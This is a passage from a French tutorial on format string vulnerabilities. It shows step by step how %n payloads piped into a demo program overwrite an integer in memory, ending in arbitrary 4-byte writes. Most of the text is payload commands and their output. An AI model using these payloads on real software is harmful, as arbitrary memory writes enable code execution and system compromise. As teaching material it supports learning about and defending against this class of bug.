Nous avons réglé le problème de la lecture à n’importe quelle adresse mémoire. Maintenant, penchons-nous sur le problème de l’écriture qui paraît plus intéressant. A priori, si on peut récupérer une adresse arbitraire et la lire, on peut remplacer son contenu en utilisant %n au lieu de %s, non ? Ainsi, nous allons essayer de changer le contenu cette fois de la variable entière i. Pour vérifier le résultat de notre manipulation, on rajoute avant l’annonce de fermeture du programme la ligne
Puis, on effectue notre petit test en opérant de la même façon que pour la lecture en mémoire, en utilisant %n :
$ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%x%n
ou comme ça : Œ˜bfc9d404-12-804988c-bfc9d4d0-bfc9d4cc-b7f9bff4-b7f9c820-bfc9d4d8
i = 68 = 44
Fin du programme
$
Effectivement, i n’est plu égal à 1337, mais à 68. Maintenant, on se demande comment maîtriser ce par quoi est écrasé cet entier. C’est relativement simple car on peut spécifier le nombre de décimales présentes à l’impression, c’est à dire que si on avait effectué printf("%08x",i) ;, la sortie aurait été 00000539, ajoutant le nombre de 0 nécessaires pour présenter 8 décimales (quand le nombre n’est pas standard comme 8, des espaces sont ajoutés).
On a vu que dans notre cas, 68 bytes sont écrites jusqu’au %n. Ajoutons donc 32 bytes pour faire 100 (comme l’adresse du 8eme paramètre contenait 8 bytes, %x == %08x, donc on demande un format de 32 + 8 = 40 bytes pour l’un des caractères).
$ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%40x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%40x%n
ou comme ça : Œ˜bf9a1104-12-804988c-bf9a11d0-bf9a11cc-b7f77ff4-b7f78820- bf9a11d8
i = 100 = 64
Fin du programme
$
Parfait. Mais vous allez me dire "ok, c’est faisable pour un petit nombre, mais si on veut réécrire une adresse mémoire, ce qui paraît plus intéressant ?". Bien sûr, il existe un autre moyen. Nous allons essayer de changer la valeur hexadécimale de i à 0xfedcba98 (comme nous le ferions pour une adresse mémoire). En fait, cela se fait en écrivant tour à tour les 4 bytes de l’adresse, à savoir 98, puis ba, puis dc et enfin fe (nous travaillons toujours en little endian).
Ecrire 98 parait facile en utilisant le procédé précédent (0x98 = 9*16 + 8 = 152) :
$ echo `printf "\x8c\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%92x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜%x-%x-%x-%x-%x-%x-%x-%92x%n
ou comme ça : Œ˜bfc943f4-12-804988c-bfc944c0-bfc944bc-b7f4eff4-b7f4f820- bfc944c8
i = 152 = 98
Fin du programme
$
Ok pour ce premier byte, facile. Tout d’abord, il faut remarquer que nous avons besoin d’un autre argument, pour ajouter entre les %n un %x et ainsi augmenter le nombre de bytes écrites à notre guise. Peu importe l’argument, du moment qu’il bouche un trou de 4 bytes. Le mot HACK paraît bien adapté pour ce job.
Par conséquent, notre chaîne formatée doit commencer par \x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08, en prévision des 3 autres écrits à faire. Seulement, il faut réajuster le nombre de bytes écrites pour le premier mot. On a ajouté 6*4=24 bytes, on ne demandera par conséquent plus que 68 bytes pour le premier argument. Pour le deuxième, on veut écrire ba = 186, on demande donc 186-152 = 34 bytes supplémentaires.
$ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
%x-%x-%x-%x-%68x%n%34x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n
ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfbeeb54-12-804988c-bfbeec20-bfbeec1c-b7ff2ff4-b7ff3820- bfbeec28 4b434148
i = 47768 = ba98
Fin du programme
$
Tout a l’air de fonctionner à merveille. On réitère donc le même procédé pour écrire dc (=220) et fe (=254) qui occasionent également deux écarts de 34 bytes :
$ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
%x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%68x%n%34x%n%34x%n%34x%n
ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfc60bc4-12-804988c-bfc60c90-bfc60c8c-b7fd1ff4-b7fd2820- bfc60c98 4b434148 4b434148 4b434148
i = -19088744 = fedcba98
Fin du programme
$
Parfait, i représente désormais l’adresse que l’on cherchait à lui attribuer. Certes, cette adresse était arrangée afin de faciliter la compréhension de l’exploitation, puisque chaque byte successif était plus grand que le précédent, ce qui tombait bien, puisque a priori, le nombre écrit augmente à chaque %n. Mais vous vous en doutez, il existe une technique pour écrire une adresse aléatoire : en fait, pour écrire par exemple la suite 0x12345678, on écrit d’abord 0x78 (=120), puis 0x156 (=342), puis 0x234 (=564) et enfin 0x312 (=786), soit un écart égal de 222 bytes entre les trois derniers paramètres formatés. La suite en images :
$ echo `printf "\x8c\x98\x04\x08HACK\x8d\x98\x04\x08HACK\x8e\x98\x04\x08HACK\x8f\x98\x04\x08"`%x-%x-%x-
%x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n | ./format-strings
Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049890
i = 1337 = 539 et se trouve à 0x804988c
On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
Jusqu'à ici, il y avait 59 bytes et 18 de ici à là
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, Œ˜HACK ˜HACKŽ˜HACK ˜%x-%x-%x-%x-%x-%x-%x-%36x%n%222x%n%222x%n%222x%n
ou comme ça : Œ˜HACK ˜HACKŽ˜HACK ˜bfd30c94-12-804988c-bfd30d60-bfd30d5c-b7f9fff4-b7fa0820- bfd30d68 4b434148 4b434148 4b434148
i = 305419896 = 12345678
Fin du programme
$
Et voilà, on peut donc désormais écrire n’importe quoi, n’importe où en mémoire. Lecture, écriture... Il devrait être possible de se servir de cette faille pour éxécuter.. un bytecode par exemple ? Oui bien sûr. Mais avant, nous allons étudier un moyen de simplifier cette écriture un peu longue que nous venons de voir.